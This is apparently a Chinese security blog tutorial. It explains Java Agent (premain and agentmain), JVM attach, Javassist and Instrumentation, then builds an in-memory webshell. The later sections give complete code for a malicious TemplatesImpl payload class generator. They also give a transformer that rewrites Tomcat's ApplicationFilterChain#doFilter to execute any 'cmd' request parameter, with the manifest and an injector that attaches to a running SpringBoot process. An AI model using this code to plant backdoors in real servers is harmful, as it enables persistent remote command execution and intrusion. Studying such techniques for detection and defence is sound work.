什么是 Java Agent? 我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class
字节码,然后再交给JVM处理运行。Java Agent 就是一种能在不影响正常编译的前提下,修改 Java 字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent
,另一种是 JVM 启动之后加载的 agentmain-Agent
。这里我们可以将其理解成一种特殊的 Interceptor(拦截器),如下图。
Premain-Agent
agentmain-Agent
几种 Java Agent 实例 premain-Agent 从官方文档中可知晓,首先我们必须实现 premain 方法,同时我们 jar 文件的清单(mainfest)中必须要含有 Premain-Class 属性
我们可在命令行利用 -javaagent 来实现启动时加载。
premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法
我们首先来实现一个简单的 premain-Agent
,创建一个 Maven 项目,编写一个简单的 premain-Agent
,创建的类需要实现 premain 方法
1 2 3 4 5 6 7 8 9 10 11 package com.java.premain.agent; import java.lang.instrument.Instrumentation; public class Java_Agent_premain { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!" ); } } }
接着在 resource/META-INF/
下创建 agent.MF
清单文件用以指定 premain-Agent
的启动类
1 2 Manifest-Version: 1.0 Premain-Class: com.java.premain.agent.Java_Agent_premain
接着用 jar 命令来打包,此时并指定启动项。运行完命令之后将会生成 agent.jar 文件
1 jar cvfm agent.jar META-INF/maven/agent.MF Java_Agent_premain.class
接着创建一个目标类
1 2 3 4 5 public class Hello { public static void main (String[] args) { System.out.println("Hello World!" ); } }
同样,创建对应的 mf 启动项,取名为 hello.mf
1 2 Manifest-Version: 1.0 Main-Class: Hello
同样的打包方式
1 jar cvfm hello.jar META-INF/maven/hello.mf Hello.class
至此我们的准备工作已经做完了,最终得到了 agent.jar 和 hello.jar
接下来我们只需要在 java -jar
中添加 -javaagent:agent.jar
即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数
1 java -javaagent:agent.jar=Hello -jar hello.jar
可以看到我们 agent 中 premain 的代码被优先执行了
agentmain-Agent 相较于 premain-Agent 只能在 JVM 启动前加载,agentmain-Agent 能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。
VirtualMachine类 com.sun.tools.attach.VirtualMachine
类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor 类 com.sun.tools.attach.VirtualMachineDescriptor
类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.drunkbaby; import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.drunkbaby.get_PID" )) System.out.println(vmd.id()); } } }
下面我们就来实现一个agentmain-Agent
。首先我们编写一个 Sleep_Hello
类,模拟正在运行的 JVM
1 2 3 4 5 6 7 8 9 10 11 12 package com.drunkbaby; import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写我们的 agentmain-Agent 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.drunkbaby; import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class Java_Agent_agentmain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用了agentmain-Agent!" ); sleep(3000 ); } } }
同时配置 agentmain.mf 文件
1 2 Manifest-Version: 1.0 Agent-Class: com.drunkbaby.Java_Agent_agentmain
接着,编译打包成 jar 文件
打包成 jar 包的方式建议是在 pom.xml 当中添加以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <version > 2.6</version > <configuration > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > <archive > <manifestFile > src/main/resources/META-INF/MAINFEST.MF </manifestFile > </archive > </configuration > </plugin > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <configuration > <source > 6</source > <target > 6</target > </configuration > </plugin > </plugins > </build >
接着用 mvn:assembly
命令打包成 jar 包即可
获取2个 jar 包,我们需要的是第二个,随后我们设置 VM-OPTIONS (最大的坑),这个 vm-options 在新版 UI 里默认是隐藏了起来的,所以你要把他打开,否则你很容易把它和变量列表搞混:
最后准备一个 Inject 类,将我们的 agent-main 注入目标 JVM:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.drunkbaby.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Agentmain\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
先运行目标 JVM,再运行 inject 类进行注入,最后结果如下,一开始是只输出 hello, world 的,运行 inject 之后就插入了 agent-main 方法:
动态修改字节码 Instrumentation 在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在聊这个之前要先简单了解一下 Javassist
Javassist 什么是 Javassist Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。
ClassPool ClassPool
是CtClass
对象的容器。CtClass
对象必须从该对象获得。如果get()
在此对象上调用,则它将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass
对象的容器。
获得方法: ClassPool cp = ClassPool.getDefault();
。通过 ClassPool.getDefault()
获取的 ClassPool
使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类 ,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径 。
cp.insertClassPath(new ClassClassPath(<Class>));
CtClass 可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)
中获取。
CtMethod 同理,可以理解成加强版的Method
对象。可通过CtClass.getDeclaredMethod(MethodName)
获取,该类提供了一些方法以便我们能够直接修改方法体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public final class CtMethod extends CtBehavior { } public abstract class CtBehavior extends CtMember { public void setBody (String src) ; public void insertBefore (String src) ; public void insertAfter (String src) ; public int insertAt (int lineNum, String src) ; }
传递给方法 insertBefore()
,insertAfter()
和 insertAt()
的 String 对象是由Javassist
的编译器编译的 。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
使用示例 pom.xml
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency >
创建测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package javassist;import java.lang.reflect.Modifier;public class Javassist_Test { public static void Create_Person () throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("javassist.Person" ); CtField ctField1 = new CtField (classPool.get("java.lang.String" ), "name" , ctClass); ctField1.setModifiers(Modifier.PRIVATE); ctClass.addField(ctField1, CtField.Initializer.constant("Drunkbaby" )); ctClass.addMethod(CtNewMethod.setter("setName" , ctField1)); ctClass.addMethod(CtNewMethod.getter("getName" , ctField1)); CtConstructor ctConstructor = new CtConstructor (new CtClass []{}, ctClass); ctConstructor.setBody("{name = \"Drunkbaby\";}" ); ctClass.addConstructor(ctConstructor); CtMethod ctMethod = new CtMethod (CtClass.voidType,"printName" , new CtClass []{}, ctClass); ctMethod.setModifiers(Modifier.PRIVATE); ctMethod.setBody("{System.out.println(name);}" ); ctClass.addMethod(ctMethod); ctClass.writeFile("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\src\\main\\java" ); } public static void main (String[] args) throws Exception { Create_Person(); } }
生成的 Person.class 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package javassist;public class Person { private String name = "Drunkbaby" ; public void setName (String var1) { this .name = var1; } public String getName () { return this .name; } public Person () { this .name = "Drunkbaby" ; } private void printName () { System.out.println(this .name); } }
由此延展的攻击面其实是,我们可以利用 Javassist 生成一个恶意的 .class
类,其实在 CC 链的时候也是可以这样子打的,但是我当时并没有学习 Javassist 的思路,只是通过 Path.get 获取恶意类。
使用 Javassist 生成恶意 class 由于我们的恶意类需要继承AbstractTranslet
类,并重写两个transform()
方法。否则编译无法通过,无法生成.class
文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException; public class shell extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public shell () throws IOException { try { Runtime.getRuntime().exec("calc" ); } catch (Exception var2) { var2.printStackTrace(); } } }
但是该恶意类在执行过程中并没有用到重写的方法,所以我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package javassist; import java.io.File; import java.io.FileOutputStream; public class EvilPayload { public static byte [] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }" ); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } } public static void writeShell () throws Exception { byte [] shell = EvilPayload.getTemplatesImpl("Calc" ); FileOutputStream fileOutputStream = new FileOutputStream (new File ("S" )); fileOutputStream.write(shell); } public static void main (String[] args) throws Exception { writeShell(); } }
生成的恶意文件被我们输出到了 S
这个文件中,其实很多反序列化在用的时候,是没有把这个字节码提取保存出来,本质上还是可以保存的。
保存出来的文件代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("Calc" ); } catch (Exception var1) { } } public Evil () { } }
Instrumentation Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
其在 Java 中是一个接口,常用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用。
1 2 void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ;
获取目标 JVM 已加载类 下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent
Main 方法
1 2 3 4 5 6 7 8 9 10 11 public class Hello_Sleep { public static void main (String[] args) throws InterruptedException { while (true ) { hello(); sleep(3000 ); } } public static void hello () { System.out.println("Hello World!" ); } }
Agent 主类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class agentmain_transform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("AgentShell.Sleep_Hello" )){ inst.addTransformer(new Hello_Transform (),true ); inst.retransformClasses(cls); } } } }
Transformer 修改类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class Hello_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("AgentShell.Sleep_Hello" ); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello" ); String body = "{System.out.println(\"Hacker!\");}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
完毕之后打包 Java Agent 包,这里有个坑点是 MAINFEST.MF
需要修改如下
1 2 3 4 Manifest-Version: 1.0 Agent-Class: AgentShell.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true
最后编写动态注入 Agent 的注入类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("AgentShell.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Instrumentation\\target\\Instrumentation-1.0-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
运行结果
Instrumentation 的局限性 大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain 和 agentmain 两种方式修改字节码 的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses
方法,此方法有以下限制:
新类和老类的父类必须相同
新类和老类实现的接口数也要相同,并且是相同的接口
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
新类和老类新增或删除的方法必须是 private static/final 修饰的
可以修改方法体
Agent 内存马实战 比如这里我们起一个 SpringBoot 的服务,由于 Tomcat 的责任链机制,可以看到会按照责任链机制反复调用 ApplicationFilterChain#doFilter()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction<Void>) () -> { internalDoFilter(req,res); return null ; } ); } ... } } else { internalDoFilter(request,response); } }
跟到 internalDoFilter()
方法中
1 2 3 4 5 6 7 8 9 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ... } }
以上两个方法均拥有 ServletRequest 和 ServletResponse,并且 hook 不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
利用 Java Agent 实现 Spring Filter 内存马 我们复用上面的 agentmain-Agent,修改字节码的关键在于 transformer()
方法,因此我们重写该方法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
再准备 MAINFEST.MF
配置,以及 agent 主类代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class agentmain_transform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain" )){ inst.addTransformer(new Filter_Transform (),true ); inst.retransformClasses(cls); } } } }
MAINFEST.MF
1 2 3 4 5 Manifest-Version: 1.0 Agent-Class: com.drunkbaby.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true
最后准备 Inject 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().contains("JavaAgentSpringBootApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\Coding\\Java\\JavaSecurityLearning\\JavaSecurity\\MemoryShell\\Java-Agent-Memshell\\AgentInjectionExample\\target\\AgentInjectionExample-1.0-SNAPSHOT-jar-with-dependencies.jar" ); virtualMachine.detach(); } } } }
注入成功
总而言之的攻击面应该是注入到 JVM 进程中
小结 比起传统的 Tomcat 内存马,Agent 内存马在实现形式上其实还是打的 Tomcat 内存马。然而它的实现角度是通过遍历所有的 JVM 进程,然后向进程中去注入对应的 agent 类的。在 agent 类中通过 ClassPool
生成恶意代码
Ref https://goodapple.top/archives/1355